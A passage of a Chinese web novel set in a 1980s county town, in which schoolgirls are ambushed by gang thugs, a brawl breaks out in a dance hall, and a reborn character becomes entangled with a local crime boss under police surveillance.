楚邵已经打听清楚,林语晨周末回家,蹲在三高上县街的必经之路。
他看着大路边上吃馒头的女人,磨了牙,朝身旁的妹妹楚新意说:“妹妹,你帮哥一个忙。”
“不帮。你有了嫂子没妹妹,更不会答应给我买自行车。”楚新意看着私人铺里琳琅满目的头绳,卖货员说是深广那边进来的潮货,想要得不行。哼哼唧唧,就是不答应楚邵。
楚邵瞪她,看到她看粉红绸带的眼神,直接取了钱问店家买下,递给高兴了的楚新意。
“拿着。你先帮哥忙,等下个月发工资,哥就给你买一辆鸽牌的女式自行车。”
楚新意拿过粉色的缎带扎在麻花辫两端,一边一个蝴蝶结,被卖货员直夸好看。
她抿着唇乐:鸽牌比不上凤凰,凤凰差了点永久,也算是全国第三的牌子。
“好吧,你不能反悔,不然我告诉大哥和妈,让他们揍你。”
听完楚邵的耳语,楚新意盯向林语晨的方向,摇着扎了缎带的两条麻花辫过去。
林语晨正和赵晓琳说着笑,看到显眼的楚新意,死去的记忆鞭笞大脑。
她拉把赵晓琳,轻声说:“林家村的楚邵来了,那是他妹妹楚新意,恐怕是来找我算账,那天我放他鸽子,和你哥商量不借钱给他。”
赵晓琳点头,耳语:“这人不正派,语晨姐别和他牵扯。走,我们去人多的地方。”
两人挨着走到人流处,本是互相给对方掩护,不巧正面来了五个衣着花绿、头发烫卷的男青年。
林语晨两辈子看人的本领一下子认识到这些人瞧来的目光不善,朝赵晓琳说:“晓琳,我们被盯上了,你快跑。”
“嗯?”赵晓琳没反应过来,还在回头看楚新意。两条缎带扎的粉色蝴蝶结真得太显眼了,非常好看!
一个青年冷笑了声,猛地撞向回头的赵晓琳。
林语晨适机推了一把赵晓琳,让她避开被撞。
“你们干什么?”林语晨挥开围上来的青年们,高声喊,“晓琳,快跑,快去喊人。”
赵晓琳本要帮着打架,闻言跺脚,跑去拉路人帮忙。
路人们当然看见那番热闹,可是这股势力在县里横着走,躲都来不及,谁敢招惹这些家伙。这帮街溜子游手好闲,晚上就在歌舞厅混,专门干偷盗抢劫的坏事,若是不慎被盯上,打击报复可是家常便饭。
楚新意也吓坏了,根本不敢过去,回头撞上楚邵,拉住他:“哥,别过去。他们就是一群流氓。”
楚邵推开楚新意,冲过去:“兄弟,放手放手……”
五个青年三个控制着林语晨,两个回头看是谁,其中的卷毛哼笑:“哟,这不是林哥的军师嘛,叫楚什么来着。”
“熟人熟人。”楚邵被两人推上街,发现林语晨被三人拉拉扯扯进民巷,急得不行,“兄弟,大家都是熟人。那是我女朋友,大水冲龙王庙,自己人不认识自己人。你们放过她,林哥那,我去说,我顶着。”
卷毛和旁边的兄弟对了眼,卷毛搓了搓鼻子:“真是你女朋友?她得罪了人。人家指名道姓要她好看。”
楚邵摸了摸兜,取出张五块的纸钞和三张一块的纸钞,卷起来塞进卷毛的手上:“兄弟,钱不多,当是哥请你们喝汽水。那真是我女朋友,你们放了她,林哥那里我去说。”
他见卷毛和那人犹豫,又说,“我可是要和林裕宝一起办厂,以后大家是平起平坐的兄弟。你们今天卖我这个面子,将来我发达,忘不了兄弟们。”
卷毛啧了声,一抖花衬衫的领子:“过去吧。”
楚邵跑过去,又听卷毛喊,回头看向两人。
卷毛轻笑:“她得罪得是孙家的二小姐,孙家是林哥的拜把子。这事真算起账来,你得出面顶着啊。”
“一定一定。”楚邵应完,跑进民巷。
然而,他过去后看到东倒西歪的三个小混混,没有发现林语晨,不由追问,“林语晨呢,你们把她怎么了?”
一个混混捂着被打肿的脸,哼哼唧唧,囫囵不清。
一个捂住肚子龇牙咧嘴:“一个女学生把她救了。啊……这臭娘们的拳头真硬啊。”
另个躺在地上抱着腿:“疼啊,我的腿好像断了。哥几个找到她,非得给她们好看。”
楚邵不由松口气,抬起脚就踹向这个“给她们好看”的家伙,让他的腿伤上加伤。
“办事不利,你还想让别人好看。你们等着林哥骂你们吧。”
卷毛迟来一步,听后脑海里滑过人,笑两声:“我知道那是谁,张家的千金小姐,拿过省武术赛第一,打进过全国赛。
八一造纸厂知道吗?她爸就是八一造纸厂的一把手,他哥张天鸿也是军区退伍回来的好手。张大小姐的来头大着呢,你们敢给她好看?她先揍得你们爹妈都认不得。”
楚邵咽口吐沫,张家在江源县的能量确实不小。
这年代的黑恶势力在地方崛起,这些人横行霸道,做不少坏事。林裕宝、孙不二就是这批人里的翘楚。林裕宝等人勾结部分地方官员,专干吞噬国家财产的事。
八一造纸厂的张德梁为灵江市集体致富带了好头,后来高升,阻了一些人的道。
前世的时候,楚邵就听说过一件残忍的案件:张家灭门案。
幕后杀手被追查出来,不过是造纸厂的一名外省员工,伙同几个同乡深夜动的手。
若张家有这等好身手,怎么可能被几个务工农人杀死?
这里头的水深着呢。
后来,一直到九零年初,这批人被国家开展的扫黑除恶斗争打下来,连带楚家也遭了殃。
楚邵又想起赵有归说林裕宝得那番话,心里很迟疑,该帮助哪方才能从中获利呢?前世的跟头是不好再栽了,没道理人在一个地方摔两次。
“兄弟,这……这事……”
卷毛拍在楚邵的肩头:“既然有人出手,我也不会说是你,多一事不如少一事嘛。不过,楚哥日后发达,别忘记兄弟们啊。”
楚邵连连点头,壮起胆子陪笑几声。
卷毛一脚踢一个装泼的青年:“装什么死,都给我起来,回去知道怎么说吧?”
“说啥?”几个青年面面相觑。张德梁的女儿,张家的势力比林裕宝强多了。
卷毛哼笑:“她同学救走了人。至于是谁,一个学校的学生能不清楚?”
混子走后,楚邵走出民巷,楚新意追上来:“哥,你不要命了,那些人能惹吗?”
赵晓琳和三叔赵松海也赶过来。
赵晓琳对楚邵有点惭愧,刚才这人确实出钱出力。
“语晨姐呢?”
“我们怎么知道啊?我哥差点交待进去了。哥,别理他们,回去了。”楚新意喊道,“刚才使劲盯我,怕我吃了你们似,不就是找你们说几句话嘛。”
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楚邵看向赵松海,点头回应:“我进去得还算及时,那些人被拦下,没追她们。语晨和一个姓张的同学跑了,应该没事。”
“张……张茉莉。那没事了,有她在,十个混混都不是她的对手,太好了。”赵晓琳松口气,“三叔,我们去找找她们吧。”
“好。”赵松海还是蛮客气,朝楚邵说,“谢谢你帮了她们。我会跟语晨爸妈说这事,多谢啊。”
楚邵暗松口气,展开笑容:“没事。这都是小事,不过破费十块钱的事。”
赵松海微闪眸光,再次道谢后拉着赵晓琳离去。人说做好事不留名,这楚邵明显不是这样。不过,他也确实出了力。
楚新意看着叔侄背影,哼了声:“十块钱还是小事呢?这都可以买十多斤猪肉了。这年头,谁家能天天吃上大肉?”
“好了,我们也去找找语晨。”楚邵穿过大街去寻人。
楚新意环顾好像什么都没发生似的大街,依旧吓得不行,赶紧跟上去,嘴上念叨:“哥,你答应给我买鸽牌自行车,别忘了呀。”
“你办好差了吗?没办好要什么车!”
“哥,你不讲信用!”
两兄妹边斗嘴边找人。
——
“嗬嗬……”林语晨跑不动了,扶着墙喘息,“我不行了……跑不动了……嗬嗬……”
“你的体力真差劲啊。打么打不过,跑还跑不动,以后遇上他们不就躺平任宰嘛。”张茉莉仰天摇头,咕哝句,“那个男人怎么就看上你这么个弱鸡?不明白。”
林语晨抬眼扫她,咽口吐沫:“谁?你说什么,没听清楚。”
张茉莉呃了声:“等回学校,每天早上五点起床,同我上操场跑步,知道吗?”
“行。打不过,不能跑不过,对吧?”林语晨笑起来,喘匀后直起腰,“哎呀,晓琳还在大街上呢。”
“没事。她三叔这会应该到了,每个星期都是差不多这个点接他们赵家的宝贝疙瘩。”
张茉莉突然朝另一侧挥手,“哥,我在这。那是我哥,张天鸿,退伍军人,现在在我爸主持的造纸厂工作呢。”
张天鸿推着永久的黑色大自行车过来:“茉莉,瞧你满头大汗,跟人打架了?”
张茉莉立时闭紧嘴巴,拉过林语晨:“哥,这是林语晨,我班新来的插班生,年级第一的姐姐。”她给张天鸿一个“你懂、你认识”的眼神。
张天鸿人高马大,标准的国字脸,身板挺正,一如赵有归。
他扫眼林语晨,想起战友的嘱托,伸出手:“你好,我是张天鸿,茉莉的哥哥。”
这年头,一个大男人朝一个女同学这么正式、认真的握手还是很少见。
林语晨有些受宠若惊,认真地握了下,客气说:“你好。我叫林语晨,今天多亏了……”话没说完,被张茉莉拽了下,只好朝张天鸿笑。
张天鸿睨眼妹妹:“肯定是茉莉见义勇为,打抱不平了。”
张茉莉咧大嘴:“哥,你不骂我啊?”
“你做好事,我为什么骂你?只要不是惹是生非,仗着本事欺负人,别得都该鼓励。”
张天鸿被张茉莉扑个满怀,忍不住拍在妹妹的脑袋,“好了,大姑娘了,这么扑男人像什么样子。”
“哥,你是我哥怕什么。我哥最明事理了。孙佳好喊县里的混混欺负林语晨,被我撞上就帮了她。”
张茉莉嬉笑,耳语说,“哥,我可是帮了你的好战友,你得记我的好,回去别告诉咱爸打架的事啊。”
20. 兄妹情
林语晨看着两兄妹的亲热劲,很是羡慕。
她没有兄妹,一直都是一个人抗事。
前世,嫁给楚邵,楚家多出个大哥、大嫂、小姑子,也没觉出兄弟姐妹多得好。相反,这些人不仅事多,吵起来还能殃及池鱼,小事上争吵不断,大事上拎不清楚。
她一直庆幸林爸林妈没多生一个娃添堵。这会,她看着张天鸿兄妹的亲热劲,才觉出哥哥妹妹的好来。
“张……大哥,茉莉是为帮我才出手,我很感激她。谢谢茉莉,你真棒。”
张茉莉笑得越发开心,人最怕就是没有被认可,不管是他人还是自己的认可,都是异常珍贵且重要的。
她得意地扫眼大哥,去搀林语晨:“走吧,我和哥送你去找赵晓琳。”
“等等,哥得去办点事。”张天鸿看着妹妹的天真模样,心道:架打了,事情才刚开始,后续的麻烦就必须处理干净。
只有千日做贼,没有千日防贼的道理。
“这样,你们先去吃点东西,回头到通往赵家村的路口处等我。”他递给张茉莉五块钱,“去吧。”
“好。”张茉莉一把拿过钱,拉着还有话说的林语晨就跑,“走,我知道有家新开的小食店,炸的丸子可好吃了,而且是闽南那边传过来的食物。”
林语晨随她跑着,又喘起来。
这姑娘的精力真是孙悟空再世。
“瞧瞧你,你揪孙佳好头发得那股狠劲哪去了?”张茉莉慢下速度,配合着林语晨的喘息走路。
“呼……我是一鼓作气,现在已经……再而衰,三而竭,没力气了。嗬嗬……”
“你这股气作得还挺长,连跨三天。哈哈哈……”张茉莉忍不住取笑了句。
林语晨不以为意,想起来问:“对了,你哥怎么知道我是赵家村?按理,今天应该是我和他第一次见吧?”
张茉莉的笑声戛然而止,眼神发飘,扫见“讨人厌”的赵晓琳,立马挥舞双手:“赵晓琳,在这,这呢。”
“语晨姐。张茉莉!”赵晓琳丢下赵松海急奔过去。
林语晨还没从张茉莉处得到答案,看到赵晓琳平安,也松口气。
几人汇合后,赵松海请大家吃炸枣子,类似炸麻糍的甜食。
他看着叽叽喳喳的三个女孩,心里满是喜欢、羡慕。
与爱人结婚已有五年,一直在要孩子,却至今没要上。他会偏疼着老大家的赵晓琳也是这个理由。每个周末,他都打着拉货的名义接送侄女。
这会,他瞧着这些半大的女孩子,高兴得很。
楚新意看向停下的楚邵,陪他站在街口拐角:“哥,你不过去吗?我也想吃那炸丸子!”
楚邵掉头离去:“你先回去吧。我在县里还有事。”
“哥……”楚新意跺脚,噘着嘴喊,“你答应给我买小笼包吃。”
楚邵摸了摸兜,空空如也,回头说:“你先回去,等哥拿到钱就给你带回去。”
“那自行车……”
楚邵头也不回地离开,走到寄放自行车的地方,骑上车就走。
楚新意跺脚:“你不带我回去,难道靠我两条腿走回去吗?我才不傻呢。”睨向赵松海那边,赵家村和林家村是隔壁邻居,可以蹭他们的拖拉机回去。
她拽下两条折起来的麻花辫,上面的粉色蝴蝶结迎风而动,向路边的几人慢悠悠地飞舞过去。
林语晨边吃边问:“茉莉,你还没回答我刚才的问题呢。”
“我……”张茉莉看到明显向这边走来的楚新意,“哎”了声,“那是谁啊?怪好看呢。”
林语晨微微蹙眉,不想回答这个问题。
赵晓琳说:“刚才楚邵冲出来帮忙,给小混混们钱,希望他们放过你。语晨,这人……”
林语晨有些诧异:“真的?那会不会小混混就是楚邵找来呢?”
赵松海和赵晓琳,乃至张茉莉都愣顿了下,不明所以地眨眨眼。
张茉莉回过神:“一定是孙佳好。这几天她一直在宿舍里说等放假回去给你好看。孙佳好的爸爸叫孙不二,算是县里得一霸,那些个街溜子有可能是他的手下。”
赵松海理会过来,点头:“确实。那叫楚邵的小年轻拦下了混混,没让他们追你们,还说花了十块钱。”
林语晨轻勾唇角:这是楚邵的作风。做了好事必须让别人知道,不用感恩戴德,但希望别人有朝一日能还回来。
她默默地点头,没再说是楚邵喊人的话,也没觉得他帮了忙需要感激他的意思。
这会张茉莉已经找好刚才问题的借口:“语晨,你不是问我哥怎么知道你是赵家村人吗?因为赵晓琳啊。”
赵晓琳被点,一头雾水:“什么啊?”
张茉莉自信满满地斜瞥赵晓琳,解释句:“我哥,不,我全家一直希望我向年级第一的你学习,好好、认真读书。你的基本信息在我家是公开的。
我介绍语晨给我哥的时候,说了‘年级第一的姐姐’。我哥自然就知道林语晨是赵家村人啊。
赵晓琳,你在我们家可是‘别人家的孩子’,他们每次都拿你做我的榜样,也没见他们拿我学武比赛的本事给你做榜样啊,凭什么呀?”
赵晓琳被反问地嘎嘎大笑,连赵松海都忍俊不禁,差点憋不住笑。
林语晨恍然大悟得“啊”了声,张茉莉确实这么向她哥介绍来着。
张茉莉暗暗拍胸脯,差点就露馅了。
楚新意看着她们热闹的氛围,心里很不舒服。
明明刚才还被混混们欺负得大喊大叫,这会就能笑得出来。这群人有病!
她低头看着两条腿,硬着头皮走过去:“那个……你们是要回赵家村吗?可以捎上我吗?我住在林家村。”
赵松海应道:“当然可以。你和你哥帮了咱们语晨和晓琳,还没好好感谢你们。你回村的事包在我们身上。”
楚新意满意地点头,眼神落在三人手上的炸甜枣,丸子金黄软糯,露着黑色的馅儿,让人忍不住吞咽口水。
张茉莉暗抽眼角,直接背对楚新意。
这姑娘的脸藏不住事,想法全写脸上了。
赵晓琳拉了拉赵三叔的衣角,毕竟刚才人家帮了咱们。
赵松海会意,又问店主买个炸甜枣。这东西虽然带个“枣”字,但不是枣子,也不便宜,三毛钱一只。一分钱换糖的年代,三毛钱买一只小儿拳头大的炸丸子已经非常贵。
赵晓琳接过店家递来的甜枣,递给眼巴巴的楚新意。<
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林语晨慢慢地吃着,没管这事。眼神扫向大街,好像看到一抹眼熟的笔挺身影穿过街口拐进暗巷。
她本想去瞧瞧,赵松海已经提议回去。
“我们先回去吧。晓琳,你同学这……”
张茉莉也瞧见那道身影,而且很肯定这人去找自家大哥。
她一口吃完丸子,挥手说:“晓琳三叔,我没事,你们先走吧。这满街的人都不敢欺负我。走吧走吧。”
走了,我好去凑热闹。
赵松海点头,叮嘱她几句别往人少的地方去,带着三个姑娘去停拖拉机的地方。
张茉莉一拍手,像猴子似窜走。
她才不是天真的小妹妹,哥那点心眼,不用说也知道去干嘛。
除恶务尽,眼里不容沙子,这是张家对外的手段。放到她爸张德梁的身上,那就是整个八一村都是自己人,务必带八一村全体村民富起来。
——
另一边,张天鸿看到身量势均力敌的赵有归,轻笑说:“来晚了,没赶上英雄救美的好戏,让我妹做了。”
赵有归抬眉看向“宝誉歌舞厅”的招牌,现在是白天,歌舞厅的彩色灯牌没亮,大门也是合上的,里面的人进出都走后门。
“别冲动,现在还不是时候。”
“那什么时候是时候?等你的姑娘被抓进去的时候?我妹已经打了人,若不善后,这些人当我张家好欺负。”张天鸿审视赵有归。
这人在连里以不怕死出名,两人一起选拔连长,赵有归就凭这股狠劲胜了一筹,没想到这人退伍后,做起事来畏首畏尾。
“钉子已经埋进去。接下来是等,抓人是要讲证据的。”赵有归解释。
“你是警察,你讲证据。我不是,我不讲。谁欺负我妹,我就得找回场子。”张天鸿撸起袖子准备冲进去。
赵有归拦在他面前:“你是军人、党员,难道人家犯法,你也要跟着去做?德梁伯父知道你这么冲动吗?”
“……别拿我爸压我!”张天鸿看到一辆自行车冲这边过来,拽了把赵有归到拐角处,“那个就是你说的钉子,楚邵?”
“嗯。”
两人在门墩后看着楚邵锁好自行车,推开宝誉歌舞厅的门走进去。
张天鸿哼了声说:“孙不二是幕后老大,林裕宝只是给他出面做打手。这两年,不少女孩被逼进歌舞厅,你也知道她们进去都是干什么。若是再拖着,保不准下一个就是你村的女孩。”
“我调查了。当年,孙佳人欺负三个女孩,有两个退了学就被召进这歌舞厅,其中一个已经死了。现在,林语晨回县高,孙佳人的妹妹想要故技重施。”赵有归轻声说,“楚邵这人是关键。我要他带我找到孙不二的地下赌庄。”
“你有把握?别送只披着羊皮的狼进去,给他们增加武力。林语晨,你相中的女孩有点意思啊,长得确实好看,怎么躲过这险招?”张天鸿正问着,听到里面霹雳吧啦的打斗声,“嘘,你听听……声音有点耳熟。”
歌舞厅里,林裕宝听完小喽啰的话,思索了下就让人放开张茉莉。
张茉莉一得自由就跳起来打:“混蛋,敢拿渔网抓我,我哥知道非给你们好看。”说动手就动手,一个打三,硬是不落下风。
21. 抓耗子
歌舞厅的彩色窗户前,张天鸿模糊地看清里面的情况,跑去正门打算冲进去,回头拦下跟着的赵有归。
“你先别进去,我能解决这点事。现在,我在明,你在暗,若是连你都出现,这窝耗子见了猫,以后更不好抓。”
“你……”赵有归有些急色,里面是张茉莉,既是张天鸿的妹妹,也是他赵有归的妹子。
何况,拜托张茉莉照顾林语晨得正是他自己。
“打不过先拖着,我喊人帮你。”
“等等,县局有他们的人,你见机行事,别暴露自己。这林裕宝未必敢动我。”张天鸿说完,冲进大门,在半明半暗中吼了句,“谁敢动我妹妹。”
“哥,你去哪了?”张茉莉也才十八岁,以前打得都是光明正大的架,还没碰过这种成了窝的黑势力,看到亲哥一下子就委屈,“这些人卑鄙得很,在后门拿渔网扑我。”
林裕宝的眼神跳了下,明知来得是谁,也要先打过才好说话。枪杆子底下出政权嘛。
“全上!”
张天鸿没想到林裕宝的胆子这么大,不愧是被人相中看场子、做混混头子的人。
环顾近三十号小喽啰,他冷哼:“呵,小爷好久没跟人动手了。江源县的混混都忘记谁才是江源县真正的地痞头子。”
一拳拳打过去,挨上就揍,连带整个歌舞厅的木质桌椅倒烂了一地。
张茉莉也没闲着,配合着他哥打架,硬是逼近哥哥的身边。
二十几个小伙子被两兄妹打的东倒西歪,嘿哟哟喊疼。
楚邵躲在吧台后,趁机拉住被打出圈的卷毛,挤眉弄眼地示意了番。
卷毛恍然大悟,躺在地上捂着胸口喊疼,躺着偷看战场。
张天鸿的拳头是真厉害,正儿八经的硬功夫,一打一个皮青肉肿。张茉莉的力量不足,但身姿矫健,腿功更是厉害,扫起来就倒下个。
若光明正大同这两兄妹斗,实力悬殊啊。
林裕宝看清形势,大喊了声:“够了,都住手。”
张天鸿一把拉住踹过去的张茉莉,把人护在身后,在舞厅咯吱咯吱晃动的椅子声中朝林裕宝嗤笑:“厚,现在喊停会不会迟些?这是谁的场子,也敢动我们兄妹,叫你们老大出来。”
对方不把自己看在眼里,林裕宝忍不住向怀里摸去:一枪崩了这不长眼的臭小子,让他们老张家绝了后。
这时,一群警察持枪冲进大门,为首的罗局喊道:“住手,有人举报这里存在非法绑架,持械斗殴。”
一名冲在前面的警察穿过张天鸿兄妹,站在林裕宝面前,眼角一抽,示意手里举着的枪。
林裕宝一惊,这举报人举报得是有人持枪?张天鸿兄妹还有帮手?
他拉扯唇角,正要说话,后面的罗局又说了。
“我怀疑你们持械,需要搜身。全部围起来,不准动,不准出去。”
林裕宝的面色大变,幸好被面前的小警察挡住,与对方眼神互动,往旁边挪几步。若是被警察搜出枪且有子弹,就是人赃并获!这举报人够狠,用这种方式惊动罗局。
张天鸿安慰张茉莉,轻声道:“没事,一切有哥在。”
他朝态度强硬的警察说,“罗叔……罗局长,我妹妹经过歌舞厅后门,被这些人不分青红皂白抓进来。”
“不是,这是误会。”卷毛被林裕宝踢了一脚,捂着胸口蹦出来说事,“我们正在后面抓耗子,小姑娘探头探脑,就不小心把她给带进来。话没说明白,小姑娘就一拳打三个,闹个没完。”
“我闹?不是你们不分青红皂白拿渔网扑我吗?”张茉莉大声喊。
场面闹闹哄哄,吧台下躲着的楚邵莫名其妙地看着手里的枪,差点丢了魂,缩在吧台内侧的角落,一动不敢动。
林裕宝被警察搜过身,没找到枪,心里轻松,扯起笑脸:“罗局,和平年代,谁敢持械啊。最多就拿把水果刀,你们瞧,刀上带着汁,为晚上准备水果呢。
最近啊,我们舞厅里多了不少耗子,我让这帮人拿渔网抓耗子。这小姑娘在后面鬼鬼祟祟,不小心进了网,兄弟们看到就请进来。我喊人给她松绑来着,这小姑娘就不分青红皂白动起手。
后来,她哥哥进来……一进来就认为我们欺负他妹,喊句‘谁敢动我妹妹’就又打起来,都不给我们解释的机会。
这兄弟不得了啊,一个劲喊‘我才是……’他才是江源县的地痞头子。
我的妈啊,解放社会,谁敢做地痞头子?你看这大兄弟把我们厅打的……得亏多少钱啊。我是正经商人,才不敢跟这种地痞头子打交道。”
“你……倒打一耙了。”张天鸿发现对方无赖得不要脸。
“够了,我说你们持什么武器吗?”罗局直击重点,队员们搜完身后摇头,就让大家收起枪械。
精明的目光看眼吧台处又垂敛,板正张脸:“张天鸿,你好歹是退伍军人,招你入局不来,喜欢在社会上打架?”
张天鸿想反驳,又没有反驳的理由:“我不是找妹妹心急嘛。”
“哥,明明是这些人欺负……”张茉莉话没说完,被张天鸿拽了下,只好闭嘴。
罗局哼笑:“这么说,你是承认林裕宝说得对?”
张天鸿还想辩,又觉得这事不牵扯林语晨说不清楚。但是,若牵扯进林语晨,那么无辜的人就要卷入更深的漩涡。林裕宝这等人可不会放过林语晨。
重点是要先大事化小,不影响赵有归的后续计划。思定后,他捏着鼻子没吭声,一切让罗局做主。
罗局横了眉,看着两方,朝林裕宝轻嗤:“你说,怎么解决?”
林裕宝嚅唇,想要对方赔,对方老爸是张德梁,在县委都说得上话。现在不是同张家明着干的时候。
“能怎么办啊,卖罗局一个面子,自认倒霉呗。”
罗局摆手:“我才不要你的面子,公事公办,都带回去问清楚。”
林裕宝微变脸色,被旁边相熟的警察擦过身,僵着脸笑:“罗局……这是小事,一个误会,我都不计较这损失了。”
张天鸿听
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出林裕宝想和解的意思,乘胜追击:“林裕宝,以后你还敢动我妹妹……和她同学吗?”
林裕宝哎了声:“没有,从来没有这事。不敢,我哪敢啊。你们有动他妹妹、同学吗?”
卷毛等人连连摇头:没来得及动,就被打了,不算动。
罗局肃张脸拍在张天鸿的肩头,靠近后轻声说:“你要是被带回去,八一造纸厂选厂书记就没你的事了。若是不回去扯清楚,这混混说不定还找你妹的麻烦。”
张天鸿冷笑:“他敢。这次过后若他还敢动我妹,我就把他的场子掀了。”
喊完就糟了罗局的眼,他不由撸把寸头,蹙着眉不再吭声。
“不敢不敢,真不敢!”林裕宝四十来岁,一脸精瘦、突颧骨,扯出的笑要多难看就多难看。
“那这事我做主,就这么算了。林裕宝,损失自负。田螺,你留下给他们做记录。其他人跟我收队。”罗局吩咐完,示意张天鸿带妹妹离开。
外号田螺的警察正是给林裕宝提示得那位,应了声后取出记录本,例行公事向林裕宝问话。
宝誉歌舞厅外的街市一如既往繁华热闹,而厅里的喧嚣和外面的热闹仿佛是两个世界。
罗局朝张天鸿说:“帮我向你爸带好,我先带人回去了。以后,你少招惹这帮人。你什么身份,他们什么身份,还敢自称地痞头子,丢你爸的脸。”
张天鸿郝然,又有些不解:“罗叔,这群人又不干好事,为什么不抓他们?”
罗局轻哼:“林裕宝有一句话说得对,解放社会,讲法制,抓人得讲证据。”
等罗局带人走后,张茉莉再也忍不住说:“哥,我们就这么便宜那帮人?”
“这事牵扯太深,不是一个女学生被欺负这么简单。”张天鸿看到街角处的赵有归,不动声色得朝他点头,拉过张茉莉,“走,回家。这事得跟爸报备。”
“啊?”张茉莉一听要跟张德梁报备,腿都矮了一截。
——
田螺走前,看眼被林裕宝拎出来的楚邵,说句:“这人不错,若是刚才没躲好,你林裕宝就惹一身腥了。”
“好说好说,兄弟慢走。下回得空,到我那去,我做东,请你玩几把。”林裕宝送走田螺,又朝楚邵说,“你小子不错啊。虽说造纸厂办不成,但是这次确实帮了我大忙。”拿过楚邵手里的枪,塞入怀,“跟我来。”
楚邵深吸口气,缓下剧烈的心跳。
他跟在林裕宝身后进办公室,主动给他开瓶酒:“林哥……”伸手做请,而后站一旁抹汗。
林裕宝看他的怂样,忍不住轻笑:“那大龄女学生真是你的女朋友?”
“啊?啊!”楚邵应完,心下咯噔了声。
“她是你女朋友,我算什么?”林菲儿推门进来,咖色的波浪卷丸子头,玫红色的大耳夹子,雪纺的荷叶领碎花衬衣、黑皮短裙包臀,红艳艳的唇上叼着根棒棒糖,一副港台潮女的打扮。
她把棒棒糖滑过楚邵的美人唇,嬉笑说:“你可是我的人。”
22. 一把刀
楚邵咽口吐沫:“林小姐说笑了……我不过是你呼之即来、挥之即去的玩物。你真看得上我吗?”
林裕宝不落魄,你看得上我?
“切,你还当真了。”林菲儿杵在老爸的办公桌前,“爸,林语晨真得不好骗,当初她被孙佳人赶出学校,被诓到市里玩。我们都谈好了价,可还是被她跑了。她的警惕性不低。
后来,她躲在家里,一直没出来。她的爸妈也不是省油的灯,看得紧呢。”
楚邵眨好几下眼睛,回过味:林语晨还遭过这些事呢?难怪前世她急着嫁人。嫁了人,林裕宝这些人就不惦记她了。
“别管这女学生了。今日这一出啊,张家是把我们记上了。本来,爸现在干得这事就不长久,我想着同这小子合作办厂,把我们家的路子改成正路。
这次镇那边提出合村、赵家村又横出一脚提议办集体厂,还拉八一造纸厂做后盾、结对子,不给我们走正路的机会啊。”
林裕宝再想起舞厅的烂摊子,愁地叼了烟。
楚邵急忙给他点上烟,乖顺的模样不仅机灵还懂眼色。
林裕宝看着楚邵,精明的黄白眼球动了动,戳了下鼻翼:“你小子的点子多,除造纸厂就没别的正经财路?”
林菲儿也看向楚邵,言笑晏晏的脸上一双狐儿般的眼睛波光粼粼,勾勒的眼线括出轮廓,更是勾人。
前世的时候,楚邵习惯了林菲儿的魅,现在已经能做柳下惠。
“世上最赚钱的买卖还得是钱生钱。现在,办实业发家快,但后期的动力不足,现金流一旦被社会截断,场子就很难维持。”
“怎么样才能钱生钱呢?”林菲儿目光炯炯地问,对此非常有兴趣。
“投资!先有钱,后买地,买好的地,等涨价卖出去,差价才是真来财。
其次,别人办厂,你投资,签合同,赚了钱分红。”楚邵轻出口气:这年头有的是赚钱的门道,问题是你得走在别人的前面,还得有资金支持。哪那么多空手套白狼的机会。
林裕宝听后觉得很有道理,点楚邵:“你小子帮了我的忙,我林裕宝讲道义,不会亏待弟兄。先前,你没搞成办厂的事,赵家村的集体仓库也没租出来,为此怕我找你麻烦,躲了我三天……”
“叔,我一直在拉货,就是想将功补过。”楚邵的面色惴惴。
林裕宝点头:“若不是看在你还能开车拉货的份上,我早就把你开了。今日有功,先前的事就一笔勾销,这么算了。往后,你说得投资的事,你得放在心上,替我林裕宝挣钱。”
“一定一定。”楚邵的心稳了。
“这投资确实需要现钱。这样,晚上你跟我去个地方。”林裕宝轻笑着说。
楚邵抽了眼角,内心深处并不想参与林裕宝得那些脏事。
可是,林裕宝的势力确实不小,不说躲在他背后的孙佳好她爸,便是警察田螺都明着帮他们。
林菲儿一把按在楚邵的肩头,在他耳边呵气如兰:“别怕,凭你这张脸,我也会好好留着你。将来……”舌尖一动,舔在楚邵的耳蜗,发现他没有脸红,更是激起胜负欲,“林语晨那土货还能比我好看?”
楚邵闻着她的幽香,想起前世林菲儿的床上功夫,一时有些心猿意马。
又听到她骂林语晨,像是回到前世供养林菲儿的别墅,就听这个女人隔三差五要和林语晨比一比。
他的神智因此清醒许多,看着目光炯炯的林菲儿:“哪能啊。她怎么能和你比?”你就不是个东西,陪过多少人?哪有林语晨冰清玉洁,所做一切都是为厂子为家,你们都不能和林语晨比!
“好了,菲儿,你好好和孙佳人学学,回学校把书读完,出来也是个老师。”
林裕宝愁啊,这个女儿跟着孙佳人变坏,可孙佳人上岸,女儿就这么经不住地入了坑。
“学什么?道貌盎然的人以后能做好老师?呵!”林菲儿拍在楚邵的心口,“好好干,我看好你!”
楚邵尬笑,心里淌了把泪。
——
张天鸿兄妹刚回到家,张德梁已经坐在家里的沙发椅上等着两人。
不用说,消息比两兄妹先到家。
张德梁一派正气,黑青色中山装配白衬衫,严肃得紧。先朝缩在哥哥后面的女儿沉声说:“茉莉,回房间做功课。”
“……我,”张茉莉有心说几句,被哥哥推了把,赶紧窜上楼。
张德梁见女儿走掉,直接对儿子摆明局:“这事和赵有归有关系?”
“爸,不关有归的事。他们欺负茉莉学校的女学生……”
张德梁没等他解释完,径直说:“赵有归找你就是为两件事,第一,帮合了村的新建村办造纸厂,这件事我没意见,也没问题。第二,你妹妹是县高,他希望你妹妹照顾他一个青梅竹马?”
“爸,”张天鸿都差点笑了,“哪是什么青梅竹马啊,就是报恩。”
“我不管他报什么。那个女孩的事牵扯很深,还让你牵扯进那帮人的事,我不允许。记住,我不准你把麻烦带回家,甚至影响你妹妹的生活。”张德梁说完,准备回书房。
张天鸿憋了憋,忍不住说:“爸,我不是警察,但也是社会公民,更是一名军人。这帮人伙同旁人偷窃、暗设赌庄,逼人在歌舞厅卖……这都什么年代,解放才多久,就有人敢这么干。若不制止他们,以后他们就是地方的毒瘤。”
“我说了,你不准参与进去!”张德梁敛起眸光里的深意,板张脸回身吼句。
妻子唐琪走过来:“你朝孩子们发什么火?别人的错,怪你儿子干什么?天鸿,别说了,回屋。”
张天鸿还是不满,杵在客厅像一棵白桦树。
“当初,我是输给赵有归,但我还想要在连里深造,你不答应,非得让我回来和你带领八一村共富。现在,县里有这么帮人正在崛起,眼见已经在危害社会,你不让我管?我做不到。”
“管?你拿什么管?江源县的地痞头子?你看看你有一个军人的模样吗?你说得都是些什么话?”张德梁气狠了,拉住妻子的手,“这就是你教出来的好儿子。地痞头子呢!”
张天鸿觉得冤枉:整件事的重点是这四个字吗?
